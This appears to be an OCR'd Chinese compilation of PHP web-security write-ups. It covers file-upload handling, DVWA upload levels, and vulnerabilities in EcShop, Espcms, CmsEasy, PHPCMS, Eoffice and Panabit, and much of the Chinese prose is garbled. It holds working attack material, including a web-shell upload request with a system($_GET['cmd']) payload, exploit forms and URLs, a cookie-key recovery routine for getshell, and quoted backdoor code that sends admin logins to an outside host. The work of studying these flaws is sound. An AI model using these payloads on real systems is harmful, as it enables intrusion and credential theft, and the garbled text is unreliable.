ET 34 EAEThRESCIAUISIR B P& IR AP _EERIS ARSI
RIHEA | SHATFREEORNTED Web iHENEREEE
B PHP X | FrEESIGIXE S HEIBLS PHP RIS | BURTLATETAZ
IS5 =8 LHITIER PHP |,
EESUS EAERIRSLS):

LIMMUBSAE BRI |, FHSENBE] Web RERTRI—
MERT.
WEHETLUSERR PHP RS EERZERF |, FREEMIRSS S+
BERXE M, REEIERS | L TERE .
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<?PHP
if(isset($_POST["form"])){
$uploadfile = "upfiles/".$_FILES['upfile']['name'];
move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadf
ile),//igBlaE R ERE &
print_r($_FILES);
die();
}
?>
BRI FETE— N AIBIE Web iGRINBRF , I
HENAB B RRSHINES I NEER R REMMIE. W
REFEZHIINAEERE  PAREEN I LETEERAEH
X, FARIAB—MiRREEREFEREHITIZUY | opk " IR

N EESH)

PHP {4 HE@ESHF move_uploaded_file , HETLAREISC
4 CIERIRER I TRIA DT

—E web NAER , —IREBSIBMM LIERITHEE | HERLE
L3,
TEE—MERAN G EERR
<form action="upload.php" method="post" enctype="multipa
rt/form-data" name="form1">
<input type="file" name="filel" /><br />
<input type="submit" value="_H{&3{4" />
<input type="hidden" name="MAX_FILE_SIZE" value="1024" /
>
</form>
php BIBECE 14 php.ini , EHi%IR upload_max_filesize $§E/IF L
ERISZAR/N | BRUAR 2M
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$_FILES #1HZE

PHP {EFA3 & $_FILES 3 E&3{4 , $_FILES E— M. (IR EE
test.txt , APAS_FILES HEMNANES :

$FILES

Array

{

[file] => Array

{

[name] => test.txt //S{EBZFR

[type] => text/plain //MIME 28!

[tmp_name] => /tmp/php5D.tmp //IGRISZM4F

[error] => 0 //3EIR(ER

[size] => 536 //3K/N , BIUFTS

}

}

AR _EAESUHRERRY name BB file

<input type="file" name="file" />

BBAEFAS_FILES[ file']['name'|3ER1EE Pim LIESXHHETR , A2
B812. EAS_FILES['file']['tmp_name'I3X1EIRSS infrz L& UHHY
GBS SIAFERTR

FR A&

PHP AeBEEE HEXHHEIMIGIRERY , MEfRFEA— MG
4, BRHRES_FILES[file']['tmp_name'[RYE , FFREVIEX M
B S S HIEITF AR s S,
$_FILES['file']['tmp_name'|FYERH PHP 8B SXERIBBFRA
—r , FIREWREAS_FILES[file']['name | 5REE LES 4RI
BR,

FENHITNERER

$_FILES['file']['error'| & AT LIESUHITRISEIR(ER. , BRIEM
:
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ERER e i BA

UPLOAD_ERR_OK 0 REEIR

UPLOAD_ERR_INI_SIZE 1 HESHRIR/NED php.ini BUIRE

HESHRIANEIE HTML F=&2h MAX_FILE_SIZE
UPLOAD_ERR_FROM_SIZE 2

BYE
UPLOAD_ERR_PARTIAL 3 R EEEBHHI
UPLOAD_ERR_NO_FILE 4 REXELEE

X EERE
NERIRALEMuLERE _HEE FRIThEE | BBriaIvbiEaE EE
HSCRReTREARE /|, MERLUEER PHP 2. MREFMERAE
RE—NFREIHEE | WAREFATLUSERIT EERY PHP 34k
TS,
THEE—MERRISUY LEGIF
<?php // BE LEXHHNER
$uploaddir = "D:/www/images/";
// 18& file REFE
if (isset($_FILES['file1']))
{
// ERFERIEERPITTEREZ | 88343
$uploadfile = $uploaddir . $_FILES['file1']['name'];
/] BIRSSEEFHAERER | BahRIESTGE
move_uploaded_file($_FILES['file1l']['tmp_name'], $uploadfile);

<form method="post" enctype="multipart/form-data" name="
form1">

<input type="file" name="filel" /><br />

<input type="submit" value="_H{&3{4" />
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<input type="hidden" name="MAX_FILE_SIZE" value="1024" /
>

</form>

XMIFRBERENHER | AT EEESE , RIBERI EERRE

{DVWA FJ453#7 5k 7(File Upload))

SEET : CodeSec Team
EiEE low 8
<?php
if (isset($_POST['Upload')) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/
uploads/";
$target_path = $target_path . basename( $_FILES['uploa
ded']['name']);
if(lmove_uploaded_file($_FILES['uploaded']['tmp_name'],
$target_path)) {
echo '<pre>";
echo 'Your image was not uploaded.’;
echo '</pre>";
} else {
echo '<pre>";
echo $target_path . ' succesfully uploaded!’;

echo '</pre>";

?>
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B AR T | B L& php 5
& Medium &
<?php
if (isset($_POST['Upload')) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/
uploads/";
$target_path = $target_path . basename($_FILES['uploa
ded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (Suploaded_type == "image/jpeg") && ($uploaded_s
ize < 100000)){
if(lmove_uploaded_file($_FILES['uploaded']['tmp_nam
e'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.’;
echo '</pre>";
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!’;
echo '</pre>";
}
}
elsef

echo '<pre>Your image was not uploaded.</pre>";

?>
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High RABIKAE BRERBIIIR
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/
uploads/";
$target_path = $target_path . basename($_FILES['uploa
ded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($upl
oaded_name, ') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (Suploaded_ext == "jpg" || $uploaded_ext == "JPG" ||
$uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($u
ploaded_size < 100000)){
if(lmove_uploaded_file($_FILES['uploaded']['tmp_nam
e'], $target_path)) {
echo '<pre>';
echo 'Your image was not uploaded.’;
echo '</pre>";
} else {
echo '<pre>';
echo $target_path . ' succesfully uploaded!’;
echo '</pre>";
}
}
elsef
echo '<pre>";
echo 'Your image was not uploaded.’;
echo '</pre>";
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?>

MIME 281
<form action="up2.php" method="post"
enctype="multipart/form-data" >
<label for="file" >Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
<?php
if ((($_FILES["file"]["type"] == "image/qif")
|| (§_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
&& ($_FILES["file"]["size"] < 20000)) {
if ($_FILES["file"]["error"] > 0) {
echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else {
echo "Upload: " . $_FILES["file"]["name"] . "<br />";
echo "Type: " . $_FILES["file"]["type"] . "<br />";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
if (file_exists("./" . $_FILES["file"]["name"])) {
echo $_FILES["file"]["name"] . " already exists. ";
}
else {
move_uploaded_file($_FILES["file"]["tmp_name"],
"./" . $_FILES["file"]["name"]);
echo "Stored in: " . "./" . $_FILES["file"]["name"];

}
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}

}
else {

echo "Invalid file";

}
?>
FEXANEAF |, AN T X34 HERIRE. AR ReELE
& .gif 8 jpeg i , FEN R ERRIS
FIBSHNE @IF :

POST /up2.php HTTP/1.1

Host: 5.5.5.2

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0) Gecko/2010010
1 Firefox/4.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
*/*,9=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Accept-Charset: ISO-8859-1,utf-8;,9=0.7,*;,0=0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http://5.5.5.2/up2.php
Content-Type:multipart/form-data; boundary=------------------
————————— 6537129554217994941264651983

Content-Length: 359

————————————————————————————— 6537129554217994941264651983
Content-Disposition: form-data; name="file"; flename="1.gif"
Content-Type: image/gif

<?php system($_GET['cmd']); ?>

----------------------------- 6537129554217994941264651983
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Content-Disposition: form-data; name="submit"
Submit

tem [T15)

% burp suite professional T - licensed to DrakonHash

burp intruder repeater window about
target | prowy | spider | scanner | intruder | repeater | sequencer | decoder | comparer | options | alerts

112315 Jie]

90 host [5.5.5.2

< port [30 Juse 551
request
raw s [ headers | hex

: mudtspartfarm-data: beundary=---rrooerranie s 131323238296552719424222502

131323238 IE002T 19420222502
farmi-data; nama="fie*; floname="1php*
Content-Typa: imageaif

<Tphp system{$_GET['emd']): 7>

2969527 19424222502 =
aaamn i

0 matches

ename:</labal>
* name=fis* id="fils* >

type="submit* narne="subma"* value="Submit® /=

<{formn>
Upload: 1.php<br (>Type: image/gif<br (>Size: 0.0302734375 Kb<br (=Temp flle: impjphpaqpExi<br = 1.php already exists.

0 matches
length: 531 (1,002 millis)

FEEa

1. ERBBREATICN SR

2. HEZ EHRAT AR E AL RSB TR
3. HEERBASUEATTHAT

4.3 F=%00 E

T E BB F IR SRR X B %

YE#: only_guest
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/ * %
* uploadFlash.php
* Flash SCf_E4%.
*/

require_once ('../global.inc.php') ;

//operateld=1 4%, operateld=2 FREUHHLE.
$operateld = intval ($_REQUEST[ 'operateld'] ) ;

if Cempty ( $operateld) ) exit;

if ($operateld == 1)<
$date = date("Ymd");
$dest = $CONFIG->basePath."data/files/".$date." /";
$COMMON->createDir ( $dest ) ;
//if (lis_dir( $dest) ) mkdir( $dest, 0777);

$nameExt =

strtolower ( $COMMON - >getFileExtName ( $_FILES[ 'Filedata']['name'] ) ) ;

$allowedType = array ('jpg’, 'gif', 'bmp', 'png’, 'jpeg');

if ( lin_array ( $nameExt, $allowedType) ){
$msg = O;

b

if Cempty ($msg) ) {
$filename = getmicrotime () .".".$nameExt;
$file_url =

urlencode ( $CONFIG->baseUrl.'data/files/'.$date." /" . $filename ) ;

$filename = $dest.$filename;

if Cempty ( $_FILES[ 'Filedata']['error'] ) ){

move_uploaded_file ( $_FILES[ 'Filedata']['tmp_name'], $filename ) ;
b
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FEZEER USBERNG L.
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IR 1CC Muh % ik 22 SE R S0 L AR IR

{E#: Jannock
/home/ecccs/web/5107/upload/screenlmagesSave.php(fi% E

ferthFRIFEA )

<?php
/ Y

*

screenImagesSave.php

% /
require_once('../global.inc.php');
//get request.
$ft = intval($_REQUEST['ft']);
/ %*

chdir($CoNFIG["canned_file_tmp"]);
exec("rm -rf *");

¥ /
$date = date("ymd");
$dest = $CONFIG->basePath.'data/files/'.$date."/";

if (lis_dir($dest)) mkdir($dest, 0777);
$filename = paramsFmt(urldecode($_GET["filename"]));
$nameExt =
strtolower ($COMMON->getFileExtName($_FILES['file']["'
name']));
$unallowedType = array('php', 'jsp', 'asp', 'sh', 'p1',
'js', 'jar', 'jad', 'class', 'java');
if(in_array($nameeExt, $unallowedType)){

if($ft == "1'){

echo 'pe';
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}else if($ft == '2"){
echo 'fe';

exit;
}
/%
if (empty($filename)) $filename =
date("Ymdhms")."_noname.file";
echo $date."/".$filename;
*/
$filenameNew = $dest.$filename;
if(empty($S_FILES["fiTe"]['error'])){
move_uploaded_fiTe($_FILES["fiTe"]["tmp_name"]
,$T1TenameNew) ;
}
if(file_exists($filenameNew)) {
echo(urlencode ($CONFIG->baseurl. 'data/files/".
$date."/".$filename));
@chmod($fiTlenameNew, 0444);

}else{
if($ft == "1'){
echo 'pe';
}else if($ft == '2'){
echo 'fe';
3
}
7>

FEF filename &8 ? BIUE EESUERISER | (BIREFAXERAD
79 : filename GET f9&#4,

<form id="QuickSearch" name="QuickSearch"

enctype="multipart/form-data" method="post"
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action="http://xxx.xxxx.com/5107/upload/screenlmagesSave.p
hp?filename=xx.php">

<input type="file" name="file">

<input type="submit" name="QuickSearchBtn" value="_t{&">
</form>

EE—1 jpg HEIRARS , BI_EAERINJS xx.php BY5.

1214 Eoffice & U L%

{E%4: Bear baby
1.3z & : /webservice/upload.php, AL -

<?php
include_once( "inc/utility_all.php" );
$pathinfor = pathinfo( $_FILES['file']['tmp_name'] );
$extension = $pathinfor['extension'];
$role = UPLOADROLE;
$attachmentID = createfiledir( );
global $ATTACH_PATH;
$path = $ATTACH_PATH. $attachmentID;
if ( !file_exists( $path ) )
{

mkdir( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = iconv( "UTF-8", "GBK", $fileName );
move_uploaded_file( $_FILES['file']['tmp_name'],
$fileName );
if ( !file_exists( $fileName ) )
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echo "false";

}

else

{ echo $fileName;
echo

$attachmentID."*".$_FILES['file']['name'];

}

?>

BEA ARG ESE A%, ST RSO R4, SRR AN T

$path = $ATTACH_PATH.$attachmentID
$fileName = $path."/".$_FILES['file']['name'];

M BRI

<form action="http://Miithtl/webservice/upload.php"
form enctype="multipart/form-data" method="POST">
<input name="file" type="file">

<input name= type="submit">

</form>

2.3 - inc/jquery/uploadify/uploadify.php A% 40 R

<?php
function createFileDir( )

{
global $ATTACH_PATH;

mt_srand( ( double dmicrotime( ) * 1000000 );

$RADOM_ID = mt_rand( ) +
mt_rand( );
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if
( 'file_exists( $ATTACH_PATH.$RADOM_ID ) )

{
return

$RADOM_ID;

}

else

{

}
}
if ( lempty( $_FILES ) )
{

$tempFile =

$_FILES['Filedata']['tmp_name'];

$attachmentiD =
createfiledir( );

$uploadrPath =

$_REQUEST['uploadPath'];
if ( trim( $uploadPath )
— mmn )

$target

( !file_exists( $targetPath ) )

{
mkdir(
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$targetFile =
str_replaceC "//", "/",
$targetpPath )."/".$_FILES['Filedata']['name'];

move_uploaded_file( $tempFile, iconv( "UTF-8",

"GBK", $targetFile ) );
echo $attachmentiD;

?>

WAL RN, SUEA ONIR SO 4L,  ATEEE 4% shell,

$targetPath
$uploadrPath."/sent/attachment/".$attachmentID;
$targetFile str_replaceC "//", "/",

$targetpPath )."/".$_FILES['Filedata']['name'];

-112 -



Jal]

EcShop B 54h T 7#/E 1]

& KRE

AT LS ecshop A sl —IRIF R, FTLAER T A THREXT b ™ &
o, SRR R T N K I, B RN T SO B e TS, B
AR NAZ BT A NG 1, SRR !

FCIRPHT TR U0, $BI T BRI, HIEA K R, B
HUEF | Ecshop JRALEA /ISRl 75 1 !

#h T 273utf8_patch006 |, WFszinfhi Pk T, RIS S ~F
BN ELLS T PN 2FFE N G0 #T

b @ E /admin/privilege.php 1 CEHEL R FAESCE) |, BSRAk
ik E & M B, —4 file_get_content &%k, A GR%E 2
AT — e KA T 20T

stat privilege.php

16777218 43425476 -rw-r--r-- 1 root root 0 25952 "Jun
419:16:09 2013" "May 6 14:18:36 2013" "Jun 4 18:59:14
2013" "May 6 14:18:36 2013" 4096 56 0 privilege.php

@fiTe_get_contents('http://**.** ** _**/api/manyou/ec

shop/w2.php?username=".$_POST[ 'username']. '&password

="'.$_POST['password']."'---".$_SERVER['REMOTE_ADDR'].

'---'.date('Y-m-d|H:i:s"')."'---".$_SERVER['HTTP_HOST"']
.$_SERVER['PHP_SELF']);

/] BRI
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set_admin_session($row['user_id'],
$row['user_name'], $row['action_list'],
$row['last_Togin']);

XA R P 4. i, P, KRR & bk S5 BIEE & 2
ZEFEFE O L, http://** . ** ** *x/gpi/manyou/ecshop/w2.php
KA B BV A4, 43R Vii ecshop 1X AN B S5 IR R 05 S8
AILAE R, & —A ok.php 31

panabit & EIRHEGE
V£ fackbaidu

0x03 B /al]

panaos#cat /usr/ramdisk/www/sys/cmdhandle.php
<?php

$doc = $_SERVER['DOCUMENT_ROOT'];

$cmd = $_PoST["cmd"];

$type = $_POST['type'];

if ($type == "get"){
$ds = explode(' ', $cmd);
$fp = popen($cmd, "r");
if (1$fp){
echo " AHATRIL";
exit(0);
}

if (is_file($ds[1]) && !file_exists($ds[1])){
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}

echo "file no found\n";
exit(0);
h
$str = "";
while(! feof($fp)){
$s = htmlspecialchars(fgets($fp));
$s = str_replace("\n", "<br/>", $s);
if ($s == "\n") continue;
$str .= " ".$s;
}
echo iconv("gb2312", "utf-8", $str);
exit(0);

if ($type == "viget"){

$ds = explode(' ', $cmd);
$fp = popen($cmd, "r");
if (1$fp){
echo "MmAHATRIE";
exit(0);

if (is_file($ds[1]) && !file_exists($ds[1])){
echo "file no found\n";
exit(0);
3
$str = "";
while(! feof($fp)){
$s = (fgets($fp));
if ($s == "\n") continue;
$str .= $s;
3
echo iconv("gbh2312", "utf-8", $str);
exit(0);
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if ($type == "save"){
$con = urldecode($_POST['con']);
if (lis_file($cmd)){
echo "ZLMATIGREE";

exit(0);
}
$fp = fopen($cmd, "w'");
if (1$fp){
echo "#THF3CARRIL™
exit(0);
3
fwrite($fp, $con);
fclose($fp);

echo "#AMERIN";

EAEBAT AU, B HCH G IAT. XS ETT, Par&dh
111

@ LoadURL | hitp://192.168.222 4/sys/cmdhandle.php

I split URL
k) Execute

Enable Post data || Enable Referrer
Post data t:rpe:get&l_cmd:|d

uid=0(root) éi d=0 {wﬂwﬁwETWu?Q&{w De'ﬁ rg_
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ZHEAEIR

Espcms J5 612 B HEER RINTH

fE#: Code Sec

RGE A RIRZERIAAE NS, SHUG G LR IRe b st AR
BL7 1]

Ji 5 B A BUBR AR 6 7 S \public\class_connector.php:

function admin_purview() {
if ($this->fun->accept('archive', 'R')
== 'filemanage' && $this->fun->accept('action', 'R') ==
'"batupfilesave') {
$ecisp_admininfo =
$this->fun->accept('ecisp_admininfo', 'G');
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$esp_powerlist =
$this->fun->accept('esp_powerlist', 'G');

$gettype = false;
} else {
$ecisp_admininfo =
$this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist =
$this->fun->accept('esp_powerlist', 'C');
$gettype = true;
3
$arr_purview = explode('|",
$this->fun->eccode($ecisp_admininfo, 'DECODE',
db_pscode)) ;
$this->esp_powerlist = explode('|",
$this->fun->eccode($esp_powerlist, 'DECODE',
db_pscode)) ;

Tist($this->esp_adminuserid,
$this->esp_username, $this->esp_password,
$this->esp_useragent, $this->esp_powerid,
$this->esp_inputclassid, $this->esp_softurl) =
$arr_purview;

if ($gettype) {
if (empty($this->esp_username)
|| empty($this->esp_adminuserid) || md5(admin_AGENT) !=
$this->esp_useragent || md5Cadmin_ClassURL) !=
$this->esp_softurl) {

$condition = 0;
} else {
$condition = 1;

} else {
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if (empty($this->esp_username)
|| empty($this->esp_adminuserid) ||

md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if
($this->fun->accept('archive', 'R') != 'adminuser' &&
$this->fun->accept('action', 'R') != 'login') {

header('location:
index.php?archive=adminuser&action=Tlogin');

exit(Q);
}
} else {
if ($condition == 1 &&
$this->fun->accept('point', 'R') == "' &&
$this->fun->accept('archive', 'R'") == "' &&
$this->fun->accept('action', 'R') == "') {

header('location:
index.php?archive=management&action=tab&loadfun=mang
ercenter&out=tabcenter');

exit(Q);

TR AU AT AE 1) L

if ($condition == 0) {

if ($this->fun->accept(‘archive'’, 'R') = 'adminuser' &&
$this->fun->accept('action’, 'R') = "login") {

header('location: index.php?archive=adminuser&action=login');
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exit();
b

4 archive=adminuser,{E./& action 25 & AN Z5T login B gt A 2 4 Bk
HRPERT. HATE M adminsoft\control\adminuser.php #

function onlogin() {

parent::start_template();

if ($this->fun->accept('logoutid', 'C')
== 1) {

$this->ectemplates->assign('systemTitle’,
$this->Tng['adminuser_Tlogin_Tlout_error']);

$this->fun->setcookie('logoutid', 0);
} else {

$this->ectemplates->assign('systemTitle',
$this->Tng['adminuser_Togin_login_error']);
}
$this->ectemplates->display('login');
3
function onlogin_into() {
include_once admin_ROOT .
'/public/class_seccode.php';

Tist($new_seccode, $expiration) =
explode("\t",
$this->fun->eccode($_COOKIE['ecisp_seccode'],
'"DECODE'));

$code = new seccode();

$code->seccodeconvert($new_seccode);

parent::start_template();

$db_table = db_prefix . "admin_member";
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$1inkURL = $_SERVER['HTTP_REFERER'];

AT LR Z R HAh 777, vk onlogin_into()

** Rk xk xx /adminsoft/index.php?archive=adminuser&acti

on=login_into
Wk A LA A adminuser.php X4N & & ORI HAB T RE .

cmseasy BZHEBREAARLEH A AEHR

R

{E# : menmen519
user_act.php(130-155):

if (front::post('submit')) {
if (front::post('username') &&
front::post('password')) {
$username = front::post('username');
$password =
md5(front: :post('password'));
$data = array(
'username' => $username,
'password' => $password,
)3

fuser = new user();

$row = $user->getrow(array('username' =>

$data['username'], 'password' => $datal['password']l));

- 121 -



if (lis_array($row)) {
$this->login_false();
return;
}
$post[$classname] =
session::get('openid');
$this->_user->rec_update($post,
'userid="' . $row['userid']);
cookie::set('login_username',
$row['username']);
cookie::set('login_password"',
front::cookie_encode($row['password']));
session::set('username’,
$row['username']);
front::redirect(url::create('user'));
return;
} else {
$this->Togin_false();
return;

}

F—A WATEM—1h test #dh 111111 B9 P

SRFE R url
http://localhost/uploads/index.php?case=user&act=respon
d&ologin_code=groupid

postdata:
username=test&password=111111&submit=xxx

N,
$post[$classname] = session::get(‘openid");
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XH FAlg$post fLihik 2 T groupid {BJEA 4 n)
session::get('openid') HATFE FTLARAT/E test H Y
groupid ~ 0

o FORBAELR Stk — T

line 157-172:

include_once
ROOT."'/Tib/plugins/ologin/'.$classname.'.php’;
$ologinobj = new $classname();
$status = $ologinobj->respond();
//var_dump(session::get('openid'));exit;
$where[$classname] = session::get('openid');
if(!$where[$classname])
front::redirect(url::create('user'));
$user = new user();
$data = S$user->getrow($where);
if(!$data){
$this->view->data = $status;
}else{

cookie::set('Togin_username',$datal['username']);

cookie::set('Togin_password',front::cookie_encode($d

ata['password']));
session::set('username',$datal['username']);
front::redirect(url::create('user'));

XN EBEAREE session HMANIEEE FA1ERZME Tl
HIeDIX B openid A% AR Al#ER
Y $classname A alipaylogin.php & FA1RRE %

function respond() {
ini_set("display_errors","on");

-123 -



$where =
array('ologin_code'=>front::$get['ologin_code']);

$ologins =
ologin::getInstance()->getrows ($where);

$ologin =
unserialize_config($ologins[0]['ologin_config']);

//var_dump($ologin);

$aliapy_config['partner'] =
$ologin['alipaylogin_id'];

$aliapy_config['key'] =
$ologin['alipaylogin_key'];

$aliapy_config['return_url'] =

ologin::url(basename(__FILE__,"'.php'));
$aliapy_config['sign_type'] = 'MD5"';
$aliapy_config['input_charset']= 'utf-8';
$aliapy_config['transport'] = 'http';

$aliapy_config['cacert'] =
getcwd().'/Tib/plugins/alipayauth/cacert.pem';
//var_dump($aliapy_config);

unset($_GET['case']);unset($_GET['act']) ;unset($_GET
['ologin_code']);unset($_GET['site']);

require_once("alipayauth/alipay_notify.class.php");
$alipayNotify = new
AlipayNotify($aliapy_config);
//var_dump($alipayNotify);
$verify_result = $alipayNotify->verifyReturn();
//var_dump($verify_result);

if(true || $verify_result) {//%iFm1l
$user_id = front::$get['user_id'];
$token = front::$get['token'];
session::set('access_token', $token);
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session::set("openid",$user_id);
return array('nickname'=>
front::get('real_name'));

if(true || $verify_result) {//38IEMT) X—47BATEE KT KN
FEIX 2 Al AR L iE(E BB 2R e

FATEEFIX R

$user_id = front::%$get['user_id'];
$token = front::$get['token'];
session::set('access_token', $token);
session::set("openid",$user_id);
return array('nickname'=>

front::get('real_name"))

RIEA openid FE4 ATHEH]

1R %E url -
http://localhost/uploads/index.php?case=user&act=respon
d&ologin_code=alipaylogin&user_id=2&real_name=test

IXEEIRATH openid #EkE N T 2

I FATERA LR

K% url:
http://localhost/uploads/index.php?case=user&act=respon
d&ologin_code=groupid

postdata:
username=test&password=111111&submit=xxx

XiHE FEE FATH test AN -
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A TR TTOUT UYL E/UIR/ASE s

R userid username passvord nickname groupid checked gqqlogin alipaylogin
T & X 1 admin 21232£207a57a5a743804a0e4a801Fc3  EIER 2 1
T 2 test 96¢79218965¢b72c92a5494d452330112  NULL <_ —2> NULL NULL NOLL

TR/ SERE S & * li=]

PHPCMS @i S fG i EBRISERH P E
g

1E#: loopx9

\phpcms\modules\member\index.php:

/I FH P 444K (8] 2 A
public function
public_forget_password_username() {
$step = intval($_POST['step']);
$step = max($step,1);
$this->_session_start();

if(isset($_POST['dosubmit']) &&
$step==2) {
[/ ERRERE HE, DLFALS AiE
if ($_SESSION['code'] !=
strtolower($_POST['code'])) {

showmessage(L('code_error'), HTTP_REFERER);
ks

fusername =
safe_replace($_POST['username']);
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$r =
$this->db->get_one(array('username'=>$username), 'use
rid,email');
if($r['email']=="") {
$_SESSION['userid'] =

$_SESSION['code'] = ''";
showmessage ("iZIK 5% A
A€ FHLSS, HikEeH ARy R E ")
} else {
$_SESSION['userid'] =
$r['userid'];
$_SESSION['email'] =
$r['email'];
}
$email_arr =
explode('@',$r['email"']);
include template('member',
'forget_password_username');
} elseif(isset($_POST['dosubmit']) &&
$step==3) {
$sms_report_db =
pc_base: :lToad_model('sms_report_model');
$mobile_verify =
$_POST[ 'mobile_verify'];
$email = $_SESSION['email'];
if($email){

if(!preg_match('/A([a-z0-9_]+)@([a-z0-9_]+).(
[a-z]{2,6})%/',%email)) exit('check email error');

if($_SESSION['emc_times']=="" |[]|
$_SESSION['emc_times']<=0){
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showmessage ("4
WERHEGHEE 5 K, I UERS SRR, 1 B ET R B R AR 56 iR A |
" JHTTP_REFERER, 3000) ;
3
$_SESSION[ 'emc_times']
= $_SESSION['emc_times']-1;

if($_SESSION['emc']!="" &&
$_POST['email_verify']==$_SESSION['emc']) {

$userid =
$_SESSION['userid'];

$updateinfo =
array(Q;

$password =
random(8,"23456789%9abcdefghkmnrstwxy") ;

$encrypt =

random(6,"23456789abcdefghkmnrstwxyABCDEFGHKMNRSTWXY
");

$updateinfo['encrypt'] = $encrypt;

$updateinfo['password'] = password($password,
$encrypt);

$this->db->update($updateinfo,
array('userid'=>$userid));
$rs =
$this->db->get_one(array('userid'=>$%userid), 'phpssou
id');

if(pc_base::Toad_config('system', 'phpsso')) {
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//¥IEa1k
phpsso

$this->_init_phpsso();

$this->client->ps_member_edit('', '', '',
$password, $rs['phpssouid'], $encrypt);

}

$_SESSION['email'] = '';

$_SESSION['userid'] = '';

$_SESSION['emc'] = '';

$_SESSION['code'] = '';

pc_base::load_sys_func('mail');

sendmail($email, "HAGHEEE', "ELE
".date('Y-m-dH:i:s") . ESHEEKETIRE, EHE T AWEWE. ");
include
template('member', 'forget_password_username');
exit;
} else {
showmessage ("5
IERSH R | IS EHTSRE! ", HTTP_REFERER, 3000) ;

3
} else {
showmessage (" JEiiE K !
")
b
} else {
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include template('member',
'forget_password_username');
}
}
/ / WRAE SR LG AL
public function public_get_email_verify() {
pc_base::load_sys_func('mail');
$this->_session_start(Q);
$code = $_SESSION['emc'] =
random(8,"23456789abcdefghkmnrstwxy") ;
$_SESSION['emc_times']=5;
$message = '"EHIKIUEISN: . $code;
sendmail($_SESSION['email'], 'HE4H$k[EI%
IGUE", $message);
echo '1';

}

S 43R s AR B . 3R B SERG R RE AT e =25k
!

IR L KPP umdR A H P 44, BRSS i fE 208 P b B e 5%, W SRAE AR Uk
F P i/t session IR H P H0E R

SPIR 20 A R IGIF RS AR AE session, SR JE K I8 ERD A 45 B P v i s
ieh

AR 30 ISt % e AT IR IERD 5 session T ORAE (R HEAT ELXT
EoATR RO NN WA Rk I BB

MARES R AT LU B8RS A I8 F P Sy, SXFE A 20n] LA FI
JUA RSSO L E T B RS

- 130 -



ERA P A CRIEEIK P ) 7 TE 5% AR R A R SR IR RS, (HANE
L, SRR B (RIS EDER L, BB 2
i P A T SRR ) S8 RS B RGE D IR 3, wAEE B B S T .

Espcms JINFE B EBR S F 2L getshell

fE#: JEFE hym

* FE T RONNARES BT RRRE, R DA e B SORN 4 SOl ) 8 JRU % 1
* A s Rl AL VR A RURAIE cookie AR S B M T T LLE@ I 1
cookie X5 &

* faa ALl kA% shell

il

B IR %R eccode

function eccode($string, $operation = 'DECODE', $key =
'@QLFK24s224%@safs3s%1f%', $mcrype = true) {
$result = null;
if ($operation == "ENCODE') {
for ($1 = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -
1, 1);
$char = chr(ord($char) + ord($keychar));
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$result.=$char;

3
$result = base64_encode($result);
$result = str_replace(array('+', '/', '="),
array('-', '_', '""), S$result);
} elseif ($operation == 'DECODE') {

$data = str_replace(array('- _"), array('+"',

'/"), $string);

1, D;

}

$mod4 = strlen($data) % 4;

if ($mod4) {
$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($1 = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) -

$char = chr(ord($char) - ord($keychar));
$result.=%$char;

return $result;

Al LG B SR SCE- key it 745 ascii A5G base64 Jwtl f5
BRI, NEE, key Hffs—NLIF4A, %ﬁﬁ%i%ﬁ*uﬁﬁaxu
FEAN, IR SOR B SO IBGRES R key, A7 1R AT IO 1 it

FEFBL LSS i AR ) key

function anti_eccode($encrypt, $clear) {

$re
$da

sult = null;

ta =str_replace(array('-"', '_"), array('+', '/"),

$encrypt);
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$mod4 = strlen($data) % 4;
if ($mod4) {

$data .= substr('====', $mod4);

3

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$%$char;

3

$result = substr($result, 1, strlen($result) -
1) .substr($result, 0, 1);
return $result;

AN, EARIUERRIG ERTLGEIR key T, (B RIEAGHEEE 5K A SC
FOARRRT S FR) 3 SCF AT LS BN 528N Key, S8 An SR8 SCRn s SCER % A7
key K, R R key tjE A5k,

TEWI e G5 B, R 40 4 5 b B0 RS FndTH0 48 5k md 5 SR e i
e B cookie B, FFLAFATT AT LALRIEHE R i % 32 (i KmY key, %
T, ETHAMOR S AREE R LL, BREEFAE,

function in_orderpay() {

parent::start_pagetemplate();

if ($this->CON['order_ismember']) {

parent: :member_purview(O0,

$this->mTink['orderpay']);

}

$Ing = (admin_LNG == 'big5') ?
$this->CON['is_Tancode'] : admin_LNG;
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$cartid =
$this->fun->eccode($this->fun->accept('ecisp_order_]
ist', 'C'), 'DECODE', db_pscode);

$cartid =
stripslashes(htmlspecialchars_decode($cartid));

$uncartid = !empty($cartid) ?
unserialize($cartid) : O;

